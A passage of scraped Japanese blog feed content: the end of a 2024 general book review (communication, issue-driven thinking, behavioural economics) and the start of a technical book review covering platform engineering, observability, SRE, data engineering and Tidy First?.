私たち一人一人が持つ「知識や思考の枠組み(スキーマ)」が異なるために起こる自然な現象なんだそうです。例えば、同じ「ネコ」という言葉を聞いても、人によって思い浮かべる映像は全く違います。これと同じように、ビジネスの現場でも、私たちは知らず知らずのうちに、自分のスキーマを通して相手の言葉を解釈しているのです。著者は、コミュニケーションの達人になるためのヒントも示してくれます。ポイントは、「失敗を成長の糧にする」「説明の手間を惜しまない」「相手をコントロールしようとしない」「聞く耳を持つ」といった心構えです。これは決して「相手に合わせろ」という話ではなく、むしろお互いの違いを認識した上で、どう理解し合えるかを考えることの大切さを教えてくれます。この本は、日々のコミュニケーションで「なんでわかってくれないんだろう」と悩む私に、とても実践的なヒントを与えてくれました。結局のところ、完璧な伝達は不可能で、むしろ誤解や聞き違いを前提に、どうコミュニケーションを取るかを考えることが大切なのかもしれません。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonイシューからはじめよ[改訂版]――知的生産の「シンプルな本質」この本は私にとって特別な一冊です。「今この局面でケリをつけるべき問題」を見極めることの大切さを教えてくれた、まさにバイブルと呼べる存在でした。今回の読書振り返りを書くにあたっても、「何を伝えるべきか」を考える際の指針となってくれています。本書の核心は、「真に価値のある仕事は、イシューの設定から始まる」というものです。世の中には問題が山積みですが、その中で「今、本当に答えを出すべき」かつ「答えを出す手段がある」問題は、実はごくわずかです。優れた知的生産には分野を超えて共通の手法があると本書は教えてくれます。ビジネスでも、研究でも、アートでも、本質的な問題を見極めることから始めるという原則は変わりません。これは『熟達論―人はいつまでも学び、成長できる』でも同様の指摘がされています。分野は違えど、真に優れた実践者たちには共通のパターンがあるのです。それは問題の本質を見抜き、そこに向けて地道な努力を重ねる姿勢です。両書を読み進めるうちに、自分の中で「イシュー」を見極めることと「熟達」することの間に深いつながりがあることを感じました。熟達論―人はいつまでも学び、成長できる―作者:為末大新潮社Amazonこの気づきは私の学びの姿勢を大きく変えました。以前は目の前の課題に対して「とにかくやってみる」というアプローチでしたが、今は必ず立ち止まって「本当のイシューは何か」を考えるようになりました。そして、そのイシューに向き合う中で、自分自身の熟達度も少しずつ上がっていくような気がしています。また、本書では「課題解決の2つの型」について深く掘り下げています。ギャップフィル型(あるべき姿が明確な場合)と、ビジョン設定型(そもそもあるべき姿を見極める必要がある場合)という分類は、単なる理論的な整理ではありません。これは実践の場で直面する様々な課題に対して、どのようなアプローチを取るべきかを示す羅針盤となってくれます。多くの失敗は、この2つの型を取り違えることから始まるのかもしれません。今年の読書でも、この本で学んだ「イシューからはじめる」という考え方が、本の選び方や読み方に大きな影響を与えています。一見バラバラに見える本たちも、実は私なりの「イシュー」に基づいて選んでいたことに、この振り返りを書きながら気づきました。それぞれの本が、異なる角度から私の中の「イシュー」に光を当ててくれていたのです。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版Amazon会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術この本との出会いは、私の会話に対する考え方を大きく変えてくれました。「人は他人の話に興味がない」という荒々しいけれど正直な前提から始まり、そこから真摯に「ではなぜ人は会って話すのか」を探っていく展開に引き込まれました。本書で最も印象的だったのは、「外にあるものを一緒に見つめる」という会話の本質についての洞察です。自分のことを話したり、相手のことを聞き出したりする必要はない。むしろ、お互いの外にあるものに目を向け、新しい風景を一緒に発見することが、会話の醍醐味なのだと。実は最近、NON STYLE 石田さんの「答え合わせ」や令和ロマン・髙比良くるまさんの「漫才過剰考察」にハマっていて、面白い掛け合いの「仕組み」についてかなり考えていました。答え合わせ(マガジンハウス新書)作者:石田明マガジンハウスAmazonでも本書を読んで、会話の本質は必ずしもそういった技術的な部分だけではないことに気づかされました。巧みなツッコミやテンポのいい掛け合いも素晴らしいけれど、二人で同じ風景を見つめて「へぇ」と言い合えるような静かな会話にも、また違った味わいがあるんですね。漫才過剰考察作者:令和ロマン・髙比良くるま辰巳出版Amazonこれまで私は「相手に興味を持ってもらえるような話をしなきゃ」「相手の話をもっと引き出さなきゃ」と、どこか力んでいた気がします。でも、本書はそんな会話の構えをすべて取り払ってくれました。漫才のようにオチを付ける必要もない。ツッコミも不要。むしろ、ボケにボケを重ねて「今なんの話してたっけ?」となる方が、会話として自然なのかもしれません。会話は決して「相手を理解する」「自分を理解してもらう」ためのものではない。そう割り切ることで、むしろ自然な会話が生まれる。この逆説的な知恵が、私の日々の会話をより楽しいものにしてくれています。会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術作者:田中 泰延ダイヤモンド社Amazon勘違いが人を動かす――教養としての行動経済学入門人はとても愚か。「人は論理や情熱ではなく、認知バイアスによって動く」という衝撃的な視点を示してくれる一冊です。その象徴的な例が、男性用トイレの小便器にハエのマークを描くと飛び散りが激減する「ハウスフライ効果」。私たちは意外なほど、こういった「勘違い」によって行動が変わってしまう生き物なんですね。本書は、普段の生活で遭遇する様々な認知バイアスについて、豊富な事例とともに解説してくれます。例えば、カジノが現金ではなくチップを使う理由。実は、チップを使うと現金を使う時より負けた時の痛みを感じにくくなるそうです。さらにカーペットを長めにして歩くスペードを遅くさせたり、出口への最短ルートをわかりにくくしたり...。私たちの行動を操る仕掛けが、至る所に張り巡らされているんです。特に印象的だったのは、「予期的後悔」についての指摘です。私たちは「将来後悔するかもしれない」という不安から、決断を先送りにしがちです。でも実は、人は将来の感情を過大評価する傾向があり、実際の後悔は想像よりもずっと小さいものだとか。この点については、『変化を嫌う人を動かす』という本でも深く掘り下げられています。人が変化を受け入れられない理由として「惰性」「労力」「感情」「心理的反発」という4つの要因があるそうです。両書を併せて読むことで、人がなぜ現状維持バイアスに縛られやすいのか、より立体的に理解できました。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon本書を読んで、自分の行動の多くが実は「論理的な判断」ではなく「認知バイアス」によって左右されていることを実感しました。この気づきは、自分の意思決定を見直すきっかけになると同時に、他者の行動をより深く理解することにもつながります。賢明なのは、これらのバイアスと戦うことではなく、その存在を認識した上で、うまく付き合っていくことなのかもしれません。勘違いが人を動かす――教養としての行動経済学入門作者:エヴァ・ファン・デン・ブルック,ティム・デン・ハイヤーダイヤモンド社Amazonおわりに今年の読書を振り返ってみると、一つの大きなテーマが浮かび上がってきました。それは「人はいかに自分の思い込みに縛られているか」ということです。私たちは普段、意識せずに様々な思い込みの中で生活しています。でも、新しい本と出会うたびに、そんな「当たり前」が少しずつ揺さぶられていくような体験をしました。「へぇ~、そうなんだ」という素直な驚きから始まった読書でしたが、振り返ってみると、それぞれの本が不思議と響き合って、より深い気づきをもたらしてくれたように思います。理論的な本を読んでは実践的な本で確認し、個人的な視点の本を読んでは社会的な視点の本で補完する。そんな読書の往復運動の中で、自分の視野が少しずつ広がっていくのを感じました。来年も、このように自分の「思い込み」を優しく解きほぐしてくれるような本との出会いを楽しみにしています。そして、その体験をまた皆さんと共有できればと思います。最後まで読んでいただき、ありがとうございました。","isoDate":"2024-12-24T23:48:01.000Z","dateMiliSeconds":1735084081000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2024年 俺が愛した本たち 技術書編","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/23/174750","contentSnippet":"この記事は、3-shake Advent Calendar 2024 24日目のエントリ記事です。はじめにこんにちは、nwiizoです。2024年も残りわずかとなりました。年の瀬に差し掛かるこの時期、1年の歩みを振り返り、時の流れを見つめ直すことは、私にとって特別な意味を持っています。今年は特に、技術書との関わり方に大きな変化がありました。本を紹介する投稿する中で、技術書のみならず、さまざまな分野の書籍を読む機会が大幅に増えました。私の書斎は、いつの間にか技術書のデータセンターと化しました。サーバーラックの代わりに本棚が整然と並び、それぞれの棚には未読の本という名のサーバーがぎっしりと配置されています。これらの「サーバー」は、24時間365日、知識というバックグラウンドプロセスを静かに実行し続けています。既にメモリの使用率は常に100%ですが、まだ、クラッシュすることはありません。クラッシュしたら次の年はこの文章を読むことができません。特に今年は、技術書との向き合い方を見つめ直した1年でした。これまでのように「量」を追い求めるのではなく、一冊一冊を深く理解し、質を重視することに注力しました。技術書は単なる情報の集合体ではなく、先人たちの経験や洞察が凝縮された知恵の結晶です。その知恵を丁寧に咀嚼し、自分の中に取り込む過程が、エンジニアとしての成長に直結することを改めて実感しました。この記事では、2024年に私が出会い、心を揺さぶられた技術書たちを厳選してご紹介します。これらの書籍が、読者の皆様に新たな発見と学びをもたらすきっかけになれば幸いです。はじめに昨年以前に紹介した本2024年に読んでよかった技術書Platform Engineering on KubernetesPlatform EngineeringContinuous DeploymentCloud Observability in ActionLearning OpenTelemetryBecoming SREFundamentals of Data EngineeringTidy First?ソフトウェア開発現場の「失敗」集めてみた。42の失敗事例で学ぶチーム開発のうまい進めかたプログラミングRust 第2版Effective Rustバックエンドエンジニアを目指す人のためのRustReal World HTTP 第3版【改訂新版】システム障害対応の教科書GitHub CI/CD実践ガイドおわりに昨年以前に紹介した本syu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.com2024年に読んでよかった技術書今年も、私の知識データベースは絶え間なく更新され続けました。読書から得た知識は、ソフトウェアエンジニアとしての実務という名のプロダクション環境で厳密にテストされ、その成果は、いくつかの技術イベントでの登壇という形でデプロイされました。幸いにも、これまでクリティカルな障害が発生したことはありません。私の脳内APIは、多くの技術書から寄せられるリクエストを処理し続けています。レスポンスタイムは決して速いとは言えませんが、スループットは着実に向上しています。そして以下では、2024年に私の知識基盤に大きなアップデートをもたらした技術書を紹介します。これらの書籍は、私に新しい視点やスキルを与え、成長の助けとなりました。speakerdeck.comPlatform Engineering on Kubernetes「Platform Engineering on Kubernetes」は、クラウドネイティブ時代のプラットフォームエンジニアリングの本質と実践を包括的に解説した一冊です。本書は、単なるKubernetesの解説書を超えて、現代のソフトウェア開発組織が直面する課題とその解決策を体系的に示しています。Platform Engineering on Kubernetes (English Edition)作者:Salatino, MauricioManningAmazon本書の核心は、「なぜKubernetes上にプラットフォームを構築する必要があるのか」という根本的な問いに対する答えを提示している点です。著者は、複数のチームが関わり、複数のクラウドプロバイダーへのデプロイを行い、異なるスタックを扱う組織では、Kubernetesの導入だけでは不十分であることを説き、プラットフォームエンジニアリングによってこれらの課題を技術的・組織的に解決する方法を示しています。特に印象的なのは、プラットフォームチームと開発チームの協調に関する著者の洞察です。プラットフォームは単なる技術的な基盤ではなく、開発者の生産性を最大化し、ビジネス価値の迅速な提供を可能にする戦略的な資産として位置づけられています。これは、DevOpsの理想をクラウドネイティブ時代に実現するための具体的なアプローチと言えます。本書は、概念的な解説に留まらず、実践的なステップバイステップのガイドも提供しています。カンファレンスアプリケーションというサンプルを通じて、プラットフォームの設計から実装、運用までを一貫して学ぶことができます。これにより、読者は理論と実践の両面から、プラットフォームエンジニアリングの本質を理解できます。また、本書はCrossplane、ArgoCD、Dapr、OpenFeatureなど、現代のクラウドネイティブツールの活用法も詳しく解説しています。これらのツールを適切に組み合わせることで、開発者体験の向上とインフラストラクチャの効率化を両立できることが示されています。この本を読み進める中で、プラットフォームエンジニアリングが単なる技術的な取り組みを超えて、組織全体のデジタルトランスフォーメーションを推進する原動力となり得ることを実感しました。著者の提示する知見は、エンジニアリング組織の次なるステージを考える上で、貴重な指針となるでしょう。「Platform Engineering on Kubernetes」では、プラットフォームエンジニアリングの技術的側面について深く解説されています。しかし、内部開発者向けのプラットフォームも一つのプロダクトとして捉え、その価値提供を最適化していく視点も重要です。そこで、以下の書籍との併読をお勧めします。プロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで作者:及川 卓也,小城 久美子,曽根原 春樹翔泳社Amazon「プロダクトマネジメントのすべて」は、プロダクトの企画から運用、改善までを包括的に解説した決定版です。本書を通じて、プラットフォームを一つのプロダクトとして捉え、ユーザーである開発者の体験を最適化していくための方法論を学ぶことができます。さらに、プラットフォームチームがどのようにステークホルダーと協働し、組織全体の価値を最大化していくかについても、実践的な知見を得ることができます。両書を組み合わせることで、技術とプロダクトマネジメントの両面から、より効果的なプラットフォームエンジニアリングの実践が可能になるでしょう。Platform Engineering「Platform Engineering: A Guide for Technical, Product, and People Leaders」は、現場での実践知を出発点として、プラットフォームエンジニアリングの本質に迫る実践的なガイドです。技術リーダーから上級管理職まで向けた幅広い読者層に向けて書かれており、個人的にはもう少しだけ広げて開発者やプラットフォームを実際に使う側も読んでも学びのある本だと感じました。Platform Engineering: A Guide for Technical, Product, and People Leaders (English Edition)作者:Fournier, Camille,Nowland, IanO'Reilly MediaAmazon「Platform Engineering on Kubernetes」がKubernetesを基盤とした技術的な実装と運用に重点を置いているのに対し、本書はプラットフォームエンジニアリングをより広い文脈で捉え、組織的・人的側面にも深く踏み込んでいます。例えば、プラットフォームチームの組織的な位置づけ、ステークホルダーとの関係構築、プラットフォーム提供者と利用者の協力関係の構築など、「Platform Engineering on Kubernetes」では詳しく触れられていない領域をカバーしています。特に注目すべきは、本書がプラットフォームの成功を技術的な完成度だけでなく、組織全体への価値提供という観点から評価している点です。プラットフォームの採用を促進し、持続可能な運用を実現するためには、技術的な卓越性に加えて、組織的な課題への対応も重要であることを説いています。そのため、両書を併読することで、技術的な実装から組織的な展開まで、プラットフォームエンジニアリングの全体像を把握することができます。本書を読む前に、「Team Topologies」を一読することを強くお勧めします。「Team Topologies」は、現代のソフトウェア開発組織における効果的なチーム構造とその相互作用のパターンを提示しており、プラットフォームチームの位置づけや役割を理解する上で不可欠な知見を提供してくれます。この基礎的な理解があることで、本書で展開されるプラットフォームエンジニアリングの実践論をより深く理解することができます。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon著者の豊富な経験が凝縮された本書は、単なる表面的な手法の模倣ではなく、実際の現場での試行錯誤から導き出されたプラクティス、そしてその背後にある根本的な原理と思想を探求しています。それが現代のソフトウェア開発組織においていかに革新的な価値を生み出すかを浮き彫りにしている点が特徴的です。本書の真価は、プラットフォームエンジニアリングを単なる技術的な手法の集合としてではなく、日々の実践から得られた知見を体系化し、組織の進化と持続的な成長を促す戦略的な思考基盤として捉えている点にあります。技術的な実装の詳細よりも、組織が現場の文脈に根ざした実践を重ね、そこからプラクティスを抽出し、最終的にプラットフォームエンジニアリングの本質的な原則を理解して創造的に応用していく方法論に重点が置かれています。技術的な側面、特にCloud Nativeな実装に興味がある方には、「Platform Engineering on Kubernetes」がおすすめです。こちらの書籍では、Kubernetesを基盤としたプラットフォームエンジニアリングの実践的なアプローチが詳細に解説されています。両書を併読することで、プラットフォームエンジニアリングの組織的側面と技術的側面の両方を深く理解することができ、より包括的な知識を得ることができるでしょう。本書は、プラットフォームエンジニアリングの現場で直面する本質的な難しさを率直に語っています。具体的には、「技術的に面白いから作る」のではなく現場で真に必要とされるものを見極めて提供するという価値提供の本質、計画の難しさを認識しつつも現場の文脈に応じて適切に実行するという実践知、そして組織の重要なシステムを支える責任を全うするための運用の成熟という現場力の醸成といった課題を挙げています。これらの課題に対して、本書は原則に基づきながらも現場の実態に即した解決の道筋を示しています。最後に、読者として強く感じたのは、プラットフォームエンジニアリングが単なる技術的な課題ではなく、組織的な取り組みとして捉える必要があるという点です。特に、チームの持続可能性とユーザー満足度の両立という観点から、著者の提案する実践的なアプローチは非常に価値があります。本書で提示されているプラクティスは、理想的ではありますが現実的な目標として設定されており、段階的な改善のためのロードマップとしても機能します。特に重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択し、継続的に改善を進めていく姿勢だと考えています。Continuous Deployment「Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software 」は、継続的デプロイメントの実践に焦点を当てた包括的なガイドです。継続的デプロイメントは、ソフトウェアパイプラインを完全に自動化し、手動介入を必要としない手法です。この方法により、クオリティーゲートを通過したすべてのコードコミットが自動的に本番環境にデプロイされます。Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software (English Edition)作者:Servile, ValentinaO'Reilly MediaAmazon本書の理解をより深めるためには、「Grokking Continuous Delivery」との併読をお勧めします。この本は、継続的デリバリーの基本概念から実践的な実装まで、体系的に解説しています。特に、継続的デプロイメントへの段階的な移行プロセスや、組織文化の変革について、実践的な知見を提供してくれます。両書を読み進めることで、継続的デプロイメントの技術的側面と組織的側面の両方を包括的に理解することができます。Grokking Continuous Delivery (English Edition)作者:Wilson, ChristieManningAmazonこちらの本は日本語版がリリースされています。入門 継続的デリバリー ―テストからリリースまでを安全に自動化するソフトウェアデリバリーのプロセス作者:Christie Wilsonオーム社Amazon本書は、単なる技術的な実装の解説に留まらず、プラットフォームエンジニアリングと開発プロセス全体を変革する可能性について深く掘り下げています。特に、フィーチャーフラグ、カナリーリリース、A/Bテストなどの重要な概念と、それらの実践的な適用方法について詳細な洞察を提供しています。継続的デプロイメントの価値は、ソフトウェア開発の特性と人間の性質を理解することで明確になります。人間は反復作業を得意としませんが、コンピューターシステムはこの種の作業に適しています。継続的デプロイメントは、人間と機械の特性の違いを活かし、相互補完的に活用します。コード変更から本番環境へのデプロイまでを完全に自動化することで、開発者は創造的な問題解決に注力でき、反復的なタスクはシステムに任せることができます。結果として、ソフトウェア開発プロセス全体の効率が向上し、人的ミスのリスクも減少します。本書は、技術的側面だけでなく、組織文化やチーム間の協力体制についても掘り下げています。また、継続的デプロイメントがもたらすソフトウェアのリリースサイクルの短縮や、ユーザーへのフィードバックループの最小化についても解説しています。同時に、コードの品質管理やテスト戦略により高い要求を課すことの重要性も強調しています。強固な自動テスト、モニタリング、迅速なロールバック機能など、継続的デプロイメントを成功させるために不可欠な安全策についても説明しています。実践的な見地からも、本書は開発者が直面する現実的な課題に対する具体的な解決策を提供しています。各章は理論的な基礎から始まり、実際の適用例、そして起こりうる問題とその対処法まで、包括的に解説しています。特に、実際の組織がどのように継続的デプロイメントを導入し、成功を収めているかについての事例研究は、実務に直接活かせる貴重な知見となっています。本書を通じて、継続的デプロイメントが単なる技術的なツールではなく、組織全体の開発文化を変革し、ソフトウェア品質を向上させるための包括的なアプローチであることが理解できます。その実践は、開発効率の向上、リリース品質の改善、そして最終的には顧客満足度の向上につながります。Cloud Observability in Action「Cloud Observability in Action」は、クラウドネイティブ時代におけるオブザーバビリティの概念と実践方法を包括的に解説した一冊です。オブザーバビリティを投資対効果の観点から捉え、データの生成から収集、処理、可視化に至るまでのプロセス全体を俯瞰します。これは、神の視点でシステムを観察できるようになる、デジタル世界の第三の目を手に入れるようなものです。Cloud Observability in Action (English Edition)作者:Hausenblas, MichaelManningAmazonOpenTelemetry、Prometheus、Grafana、Loki、Jaegerなどのオープンソースツールを活用し、誰でも実践的な知見を時間以外の費用をかけずに得られるよう工夫されています。まるで高級な料理のレシピを、コンビニの食材だけで再現する魔法のような本です。著者の豊富な経験に基づくベストプラクティスが随所に盛り込まれ、参考URLも惜しみなく共有されています。システムの監視方法について、何百人もの先人たちが積み上げてきた叡智を一冊に凝縮したような贅沢な内容です。単なるツールの使い方の解説にとどまらず、オブザーバビリティを組織文化として定着させるためのヒントも提供されています。つまり、「システムの見える化」という名の文化革命の指南書とも言えるでしょう。本書を通じて、システムの内部状態を把握・推論する力を身につけることができます。これは、デジタルの迷宮で道に迷った開発者たちに、アリアドネの糸を提供するようなものです。得られた知見をどのように活用するかは読者次第ですが、システムと組織の継続的な進化を支える原動力として、オブザーバビリティを正しく理解し実践することができます。少なくとも、「エラーログを検索すれば何とかなる」という幻想から解放されることは間違いありません。本書は、複雑化するシステムの「見える化」を実現するための、実践的なガイドブックです。これを読まずにオブザーバビリティを始めるのは、暗闇の中でパズルを解こうとするようなものかもしれません。本稿では、各章の要点を丁寧に読み解きながら、私なりの学びと気づきをシェアしていきます。皆様にとっても、オブザーバビリティへの理解を深め、その実践への一歩を踏み出すきっかけとなれば幸いです。Learning OpenTelemetry「Learning OpenTelemetry」は、可観測性という広大な領域に対する実践的な航海図といえます。本書の最も重要な貢献は、OpenTelemetryというテクノロジーを通じて、システムの可観測性をビジネス価値へと変換する具体的な方法論を提示している点です。Learning OpenTelemetry: Setting Up and Operating a Modern Observability System (English Edition)作者:Young, Ted,Parker, AustinO'Reilly MediaAmazon本書を読む際は、オブザーバビリティに関する以下の2冊との併読をお勧めします。まず「Observability Engineering」は、可観測性の基本概念から実践的な実装まで、より広い文脈で解説しています。特に、OpenTelemetryを含む様々な可観測性ツールの位置づけや、組織における可観測性の文化醸成について、包括的な視点を提供してくれます。両書を読み進めることで、技術的な実装の詳細と、より大きな戦略的文脈の両方を理解することができます。Observability Engineering: Achieving Production Excellence (English Edition)作者:Majors, Charity,Fong-Jones, Liz,Miranda, GeorgeO'Reilly MediaAmazonまた、「入門 監視」は、システム監視の基礎から応用まで、実践的な知見を提供してくれます。監視とオブザーバビリティの関係性、メトリクスの収集と分析、アラートの設計など、日々の運用に直結する知識を学ぶことができます。入門 監視 ―モダンなモニタリングのためのデザインパターン作者:Mike JulianオライリージャパンAmazon本書の特筆すべき点は、技術的深度、組織的展開、ビジネス価値という3つの視点を統合的に扱っていることです。技術面では、OpenTelemetryの内部アーキテクチャから実装の詳細まで、体系的な解説を提供しています。特に、トレース、メトリクス、ログの統合方法や、テレメトリパイプラインの設計については、実務で即座に活用できる具体的な知見が豊富です。組織面では、可観測性の導入を単なる技術導入ではなく、組織変革として捉える視点を提供しています。特に、Deep対Wide、Code対Collection、Centralized対Decentralizedという3つの軸に基づく展開戦略は、組織の規模や成熟度に応じた柔軟なアプローチを可能にします。ビジネス面では、テレメトリデータを通じてビジネスの意思決定や改善につなげていく方法について、具体的な指針を示しています。私が実務を通じて特に共感したのは、本書の掲げる「Do no harm, break no alerts」という原則です。可観測性の向上は、既存のシステムや運用プロセスを破壊することなく、段階的に実現していくべきだという主張は、現場の実態に即した賢明なアプローチだと感じます。本書の構成も実践的です。各章は理論的な基礎から始まり、実装の詳細、そして運用上の考慮点へと展開されていきます。特に、各章末のケーススタディやベストプラクティスは、他組織の経験から学ぶ貴重な機会を提供してくれます。最後に、本書の結論部分で言及されている「可観測性の次のフロンティア」についても注目に値します。AIとの統合やテストとしての可観測性など、新しい可能性の提示は、この分野の今後の発展を考える上で重要な示唆を与えてくれます。OpenTelemetryの導入を検討している組織にとって、本書は単なる技術解説書以上の価値を持つ戦略的なガイドブックとなるでしょう。また、すでにOpenTelemetryを導入している組織にとっても、その活用方法を再考し、より高度な可観測性を実現するための有益な指針となることは間違いありません。こちらの本は日本語版がリリースされています。入門 OpenTelemetry ―現代的なオブザーバビリティシステムの構築と運用作者:Ted Young,Austin ParkerオライリージャパンAmazonBecoming SRE「Becoming SRE」は、SRE(Site Reliability Engineering)という職種に対する深い理解と実践的な洞察を提供する画期的な一冊です。本書は、個人がSREとしてのキャリアを築くための道筋と、組織がSREを導入・発展させるための戦略を包括的に解説しています。Becoming SRE: First Steps Toward Reliability for You and Your Organization (English Edition)作者:Blank-Edelman, David N.O'Reilly MediaAmazonSREに関する書籍は数多く出版されていますが、本書の特筆すべき点は、その実践に基づいた具体性と実用性にあります。特に、他のSRE関連書籍が理論や理想的なプラクティスの解説に重点を置く傾向がある中、本書は現場で直面する現実的な課題とその解決策に焦点を当てています。例えば、Googleが提唱したSREの原則やプラクティスを、規模や成熟度の異なる組織でどのように適用していくかについて、具体的なステップとアプローチを示しています。また、SREとしてのキャリアパスや、組織内でのSRE文化の醸成方法など、実務者の視点に立った実践的なアドバイスが豊富に盛り込まれています。syu-m-5151.hatenablog.com本書の価値は、SREという職種を単なる技術的な役割としてではなく、組織の文化や価値観を形作る存在として捉えている点にあります。著者のDavid Blank-Edelman氏は、長年のSREとしての経験を基に、技術とビジネスの両面からSREの本質に迫っています。本書は3つのパートで構成されています。Part Iでは、SREの基本的な概念、文化、そしてマインドセットについて解説しています。特に注目すべきは、SREが目指すべき「適切な信頼性レベル」という考え方です。100%の信頼性を追求するのではなく、ビジネスの要求と照らし合わせながら、最適な信頼性レベルを見極めることの重要性が説かれています。Part IIは、個人がSREになるための具体的なステップを示しています。技術的なスキルセットはもちろん、コミュニケーション能力、問題解決力、そして失敗から学ぶ姿勢など、SREに求められる多面的な資質について詳細に解説されています。特筆すべきは、オンコール対応やインシデント管理といった実務的なトピックについても、豊富な事例とともに具体的なアドバイスが提供されている点です。Part IIIでは、組織としてSREを導入・発展させるための戦略が展開されています。SREの成功は、個々のエンジニアの努力だけでなく、組織全体のサポートと理解が不可欠だという著者の主張は説得力があります。特に興味深いのは、SREの組織的な成熟度を5つのステージで捉えるフレームワークです。各ステージの特徴と課題、そして次のステージへの移行に必要な施策が具体的に示されています。本書が特に強調しているのは、SREにおける「文化」の重要性です。モニタリング、自動化、インシデント対応といった技術的な実践も重要ですが、それらを支える組織文化がなければ、SREは真の力を発揮できません。データ駆動の意思決定、失敗から学ぶ姿勢、部門間の協働、これらの文化的要素をどのように育んでいくかについても、深い洞察が示されています。また、本書はSREの導入と成長における現実的な課題にも正面から向き合っています。技術的な障壁はもちろん、組織の抵抗、リソースの制約、文化の変革の難しさなど、SREが直面する様々な課題に対する具体的な対処法が提示されています。総じて本書は、SREを目指す個人にとってのキャリアガイドであると同時に、組織にとってのSRE導入・発展のロードマップとして機能する実践的な指南書です。著者の豊富な経験に基づくアドバイスは、SREという未知の領域に踏み出そうとする読者にとって、信頼できる道標となるはずです。こちらの本も日本語版がリリースされています。SREをはじめよう ―個人と組織による信頼性獲得への第一歩作者:David N. Blank-EdelmanオライリージャパンAmazonFundamentals of Data Engineering「Fundamentals of Data Engineering」は、データエンジニアリングの基礎から実践までを体系的に解説した包括的な一冊です。データエンジニアリングを「raw dataを取り込み、高品質で一貫性のある情報を生成するシステムとプロセスの開発、実装、維持」と定義し、その全容を詳細に説明しています。Fundamentals of Data Engineering: Plan and Build Robust Data Systems (English Edition)作者:Reis, Joe,Housley, MattO'Reilly MediaAmazon本書は4つのパートで構成されており、Part Iではデータエンジニアリングの基礎と構成要素、Part IIではデータエンジニアリングのライフサイクルの詳細、Part IIIではセキュリティとプライバシー、そして将来の展望を扱っています。特に、データ生成からストレージ、取り込み、変換、提供までの一連のライフサイクルについて、実践的な知見が豊富に盛り込まれています。著者たちは、特定のツールや技術に依存しない原則ベースのアプローチを採用しています。これにより、急速に変化するデータ技術の世界においても、長く有効な知識を提供することに成功しています。データエンジニアは、セキュリティ、データ管理、DataOps、データアーキテクチャ、オーケストレーション、ソフトウェアエンジニアリングの交差点に位置し、これらの要素を統合的に理解し活用する必要があることが強調されています。本書の特筆すべき点は、理論と実践のバランスが絶妙なことです。データエンジニアリングの基本原則を解説しながら、実際のシステム設計や運用における具体的な課題とその解決策も提示しています。また、クラウドファーストの時代におけるデータエンジニアリングの在り方についても深い洞察が示されています。セキュリティとプライバシーに関する章では、データエンジニアリングにおけるセキュリティの重要性と、具体的な実装方法が詳細に解説されています。GDPRなどの規制への対応や、データの匿名化、アクセス制御など、現代のデータエンジニアが直面する重要な課題がカバーされています。最後に、データエンジニアリングの将来に関する章では、業界の動向と今後の展望が示されています。クラウドスケールの「データOS」の出現や、リアルタイムデータ処理と機械学習の融合など、興味深い予測が述べられています。本書は、データエンジニアリングの世界で活躍したい技術者にとって、必携の一冊となるでしょう。体系的な知識の習得と実践的なスキルの向上に大いに役立つ内容となっています。こちらの本も日本語版がリリースされています。データエンジニアリングの基礎 ―データプロジェクトで失敗しないために作者:Joe Reis,Matt HousleyオライリージャパンAmazonTidy First?「Tidy First?」は、エクストリームプログラミングの考案者であり、ソフトウェアパターンの先駆者として知られるKent Beckによる、コードの整理整頓に関する画期的な一冊です。本書は、リファクタリングの新しい考え方として「Tidying(整理整頓)」という概念を提唱し、その実践的なアプローチを示しています。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO'Reilly MediaAmazonリファクタリングといえば「リファクタリング 既存のコードを安全に改善する」や「レガシーコードからの脱却」ですがこのリファクタリングの考え方をより小規模で実践的なアプローチへと発展させたものと言えるでしょう。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社Amazonレガシーコードからの脱却 ―ソフトウェアの寿命を延ばし価値を高める9つのプラクティス作者:David Scott BernsteinオライリージャパンAmazon本書の核心は、「いつ、どこで、どのようにコードを整理するべきか」という実践的な問いに対する答えを提示している点です。特に注目すべきは、Tidyingをリファクタリングの部分集合として位置づけ、より小規模で安全な改善活動として定義している点です。本書は3つのパートで構成されています。Part 1: Tydingsでは、具体的な整理整頓の手法が示されています。変数名の調整や対称性の確保、不要なコードの削除など、小規模だが効果的な改善活動が詳しく解説されています。これらは、ボーイスカウトの原則(来たときよりも美しく)とも通じる考え方です。Part 2: Managingでは、Tidyingの実践的なマネジメントについて解説されています。特に重要なのは、機能開発の直前にTidyingを行うべきという提言です。これは、料理をする前にキッチンを整理整頓するのと同じように、本題に取り組む前に作業環境を整えることの重要性を示唆しています。また、Tidyingは1時間以内に完了できる規模に抑えるべきという具体的な指針も示されています。Part 3: Theoryでは、Tidyingの理論的な基盤が展開されています。特筆すべきは、経済的な観点からの分析です。NPV(正味現在価値)やオプション理論を用いて、Tidyingの投資対効果を説明しています。また、疎結合と高凝集というソフトウェアアーキテクチャの基本原則との関連も論じられています。また、ソフトウェア設計の基本原則をより深く理解するために、以下の2冊との併読をお勧めします。「Balancing Coupling in Software Design」は、システムの結合度に焦点を当て、モジュール性と複雑性のバランスを取るための実践的なガイドを提供しています。特に、結合度を単なる「悪いもの」としてではなく、システム設計における重要なツールとして捉え直す視点は、Tidyingの経済的価値の考え方と共鳴します。Balancing Coupling in Software Design: Universal Design Principles for Architecting Modular Software Systems (Addison-Wesley Signature Series (Vernon)) (English 